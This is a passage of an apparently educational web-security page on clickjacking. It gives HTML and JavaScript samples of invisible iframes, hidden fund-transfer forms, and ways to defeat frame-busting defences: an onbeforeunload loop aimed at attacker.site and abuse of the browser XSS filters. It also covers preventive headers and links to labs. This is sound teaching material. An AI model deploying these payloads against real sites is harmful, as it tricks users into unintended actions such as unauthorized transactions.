<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a> <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&quot;malicious-link&quot;</span><span class="p">&gt;</span>Click me<span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</code></pre></div>
<h3 id="invisible-frames">Invisible Frames</h3>
<p>Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.</p>
<ul>
<li>
<p><strong>How Invisible Frames Work:</strong></p>
<ul>
<li>Hidden IFrame Creation: The attacker includes an <code>&lt;iframe&gt;</code> element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;malicious-site&quot;</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;opacity: 0; height: 0; width: 0; border: none;&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.</li>
<li>User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.</li>
<li>Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.</li>
</ul>
</li>
</ul>
<h3 id="buttonform-hijacking">Button/Form Hijacking</h3>
<p>Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.</p>
<ul>
<li>
<p><strong>How Button/Form Hijacking Works:</strong></p>
<ul>
<li>Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">&lt;</span><span class="nt">button</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;submitForm()&quot;</span><span class="p">&gt;</span>Click me<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&quot;malicious-site&quot;</span> <span class="na">method</span><span class="o">=</span><span class="s">&quot;POST&quot;</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;hidden-form&quot;</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;display: none;&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="cm">&lt;!-- Hidden form fields --&gt;</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">&lt;</span><span class="nt">button</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;submitForm()&quot;</span><span class="p">&gt;</span>Click me<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&quot;legitimate-site&quot;</span> <span class="na">method</span><span class="o">=</span><span class="s">&quot;POST&quot;</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;hidden-form&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a> <span class="cm">&lt;!-- Hidden form fields --&gt;</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">submitForm</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;hidden-form&#39;</span><span class="p">).</span><span class="nx">submit</span><span class="p">();</span>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</code></pre></div>
</li>
</ul>
<h3 id="execution-methods">Execution Methods</h3>
<ul>
<li>Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a> <span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&quot;malicious-site&quot;</span> <span class="na">method</span><span class="o">=</span><span class="s">&quot;POST&quot;</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;hidden-form&quot;</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;display: none;&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&quot;hidden&quot;</span> <span class="na">name</span><span class="o">=</span><span class="s">&quot;username&quot;</span> <span class="na">value</span><span class="o">=</span><span class="s">&quot;attacker&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&quot;hidden&quot;</span> <span class="na">name</span><span class="o">=</span><span class="s">&quot;action&quot;</span> <span class="na">value</span><span class="o">=</span><span class="s">&quot;transfer-funds&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a> <span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">submitForm</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;hidden-form&#39;</span><span class="p">).</span><span class="nx">submit</span><span class="p">();</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="w"> </span><span class="p">}</span>
</code></pre></div>
<h2 id="preventive-measures">Preventive Measures</h2>
<h3 id="implement-x-frame-options-header">Implement X-Frame-Options Header</h3>
<p>Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nb">Header</span><span class="w"> </span>always<span class="w"> </span>append<span class="w"> </span>X-Frame-Options<span class="w"> </span>SAMEORIGIN
</code></pre></div>
<h3 id="content-security-policy-csp">Content Security Policy (CSP)</h3>
<p>Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">&lt;</span><span class="nt">meta</span> <span class="na">http-equiv</span><span class="o">=</span><span class="s">&quot;Content-Security-Policy&quot;</span> <span class="na">content</span><span class="o">=</span><span class="s">&quot;frame-ancestors &#39;self&#39;;&quot;</span><span class="p">&gt;</span>
</code></pre></div>
<h3 id="disabling-javascript">Disabling JavaScript</h3>
<ul>
<li>Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.</li>
<li>
<p>There are three deactivation techniques that can be used with frames:</p>
<ul>
<li>Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;http://target site&quot;</span> <span class="na">security</span><span class="o">=</span><span class="s">&quot;restricted&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;http://target site&quot;</span> <span class="na">sandbox</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
</code></pre></div>
</li>
</ul>
<h2 id="onbeforeunload-event">OnBeforeUnload Event</h2>
<ul>
<li>
<p>The <code>onBeforeUnload</code> event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.</p>
</li>
<li>
<p>The attacker can use this attack by registering an unload event on the top page using the following example code:</p>
</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>www.fictitious.site<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">onbeforeunload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="s2">&quot; Do you want to leave fictitious.site?&quot;</span><span class="p">;</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;http://target site&quot;</span><span class="p">&gt;</span>
</code></pre></div>
<ul>
<li>The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a <em>"HTTP/1.1 204 No Content"</em> header.</li>
</ul>
<p><em>204 page:</em></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a> <span class="nb">header</span><span class="p">(</span><span class="s2">&quot;HTTP/1.1 204 No Content&quot;</span><span class="p">);</span>
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="cp">?&gt;</span>
</code></pre></div>
<p><em>Attacker's Page</em></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
<a id="__codelineno-13-2" name="__codelineno-13-2" href="#__codelineno-13-2"></a><span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">prevent_bust</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<a id="__codelineno-13-3" name="__codelineno-13-3" href="#__codelineno-13-3"></a><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">onbeforeunload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-13-4" name="__codelineno-13-4" href="#__codelineno-13-4"></a><span class="w"> </span><span class="nx">prevent_bust</span><span class="o">++</span><span class="p">;</span>
<a id="__codelineno-13-5" name="__codelineno-13-5" href="#__codelineno-13-5"></a><span class="w"> </span><span class="p">};</span>
<a id="__codelineno-13-6" name="__codelineno-13-6" href="#__codelineno-13-6"></a><span class="w"> </span><span class="nx">setInterval</span><span class="p">(</span>
<a id="__codelineno-13-7" name="__codelineno-13-7" href="#__codelineno-13-7"></a><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-13-8" name="__codelineno-13-8" href="#__codelineno-13-8"></a><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">prevent_bust</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-13-9" name="__codelineno-13-9" href="#__codelineno-13-9"></a><span class="w"> </span><span class="nx">prevent_bust</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mf">2</span><span class="p">;</span>
<a id="__codelineno-13-10" name="__codelineno-13-10" href="#__codelineno-13-10"></a><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">top</span><span class="p">.</span><span class="nx">location</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;http://attacker.site/204.php&quot;</span><span class="p">;</span>
<a id="__codelineno-13-11" name="__codelineno-13-11" href="#__codelineno-13-11"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-13-12" name="__codelineno-13-12" href="#__codelineno-13-12"></a><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span>
<a id="__codelineno-13-13" name="__codelineno-13-13" href="#__codelineno-13-13"></a><span class="o">&lt;</span><span class="err">/script&gt;</span>
<a id="__codelineno-13-14" name="__codelineno-13-14" href="#__codelineno-13-14"></a><span class="o">&lt;</span><span class="nx">iframe</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s2">&quot;http://target site&quot;</span><span class="o">&gt;</span>
</code></pre></div>
<h2 id="xss-filter">XSS Filter</h2>
<h3 id="ie8-xss-filter">IE8 XSS filter</h3>
<p>This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-14-2" name="__codelineno-14-2" href="#__codelineno-14-2"></a><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="nx">top</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">self</span><span class="w"> </span><span class="p">)</span>
<a id="__codelineno-14-3" name="__codelineno-14-3" href="#__codelineno-14-3"></a><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-14-4" name="__codelineno-14-4" href="#__codelineno-14-4"></a><span class="w"> </span><span class="nx">top</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="nx">self</span><span class="p">.</span><span class="nx">location</span><span class="p">;</span>
<a id="__codelineno-14-5" name="__codelineno-14-5" href="#__codelineno-14-5"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-14-6" name="__codelineno-14-6" href="#__codelineno-14-6"></a><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</code></pre></div>
<p>Attacker View:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">”http://target</span> <span class="na">site</span><span class="err">/?</span><span class="na">param</span><span class="o">=</span><span class="s">&lt;script</span><span class="p">&gt;</span>if”&gt;
</code></pre></div>
<h3 id="chrome-40-xssauditor-filter">Chrome 4.0 XSSAuditor filter</h3>
<p>It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.</p>
<p>Attacker View:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">”http://target</span> <span class="na">site</span><span class="err">/?</span><span class="na">param</span><span class="o">=</span><span class="s">if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”</span><span class="p">&gt;</span>
</code></pre></div>
<h2 id="challenge">Challenge</h2>
<p>Inspect the following code:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">&lt;</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;position: absolute; opacity: 0;&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a> <span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://legitimate-site.com/login&quot;</span> <span class="na">width</span><span class="o">=</span><span class="s">&quot;500&quot;</span> <span class="na">height</span><span class="o">=</span><span class="s">&quot;500&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
<a id="__codelineno-17-3" name="__codelineno-17-3" href="#__codelineno-17-3"></a><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<a id="__codelineno-17-4" name="__codelineno-17-4" href="#__codelineno-17-4"></a><span class="p">&lt;</span><span class="nt">button</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;document.getElementsByTagName(&#39;iframe&#39;)[0].contentWindow.location=&#39;malicious-site.com&#39;;&quot;</span><span class="p">&gt;</span>Click me<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</code></pre></div>
<p>Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.</p>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://owasp.org/www-project-webgoat/">OWASP WebGoat</a></li>
<li><a href="https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking">OWASP Client Side Clickjacking Test</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://clickjacker.io">Clickjacker.io - Saurabh Banawar - May 10, 2020</a></li>
<li><a href="https://owasp.org/www-community/attacks/Clickjacking">Clickjacking - Gustav Rydstedt - April 28, 2020</a></li>
<li><a href="https://www.synopsys.com/glossary/what-is-clickjacking.html#B">Synopsys Clickjacking - BlackDuck - November 29, 2019</a></li>
<li><a href="https://portswigger.net/web-security/clickjacking">Web-Security Clickjacking - PortSwigger - October 12, 2019</a></li>
</ul>
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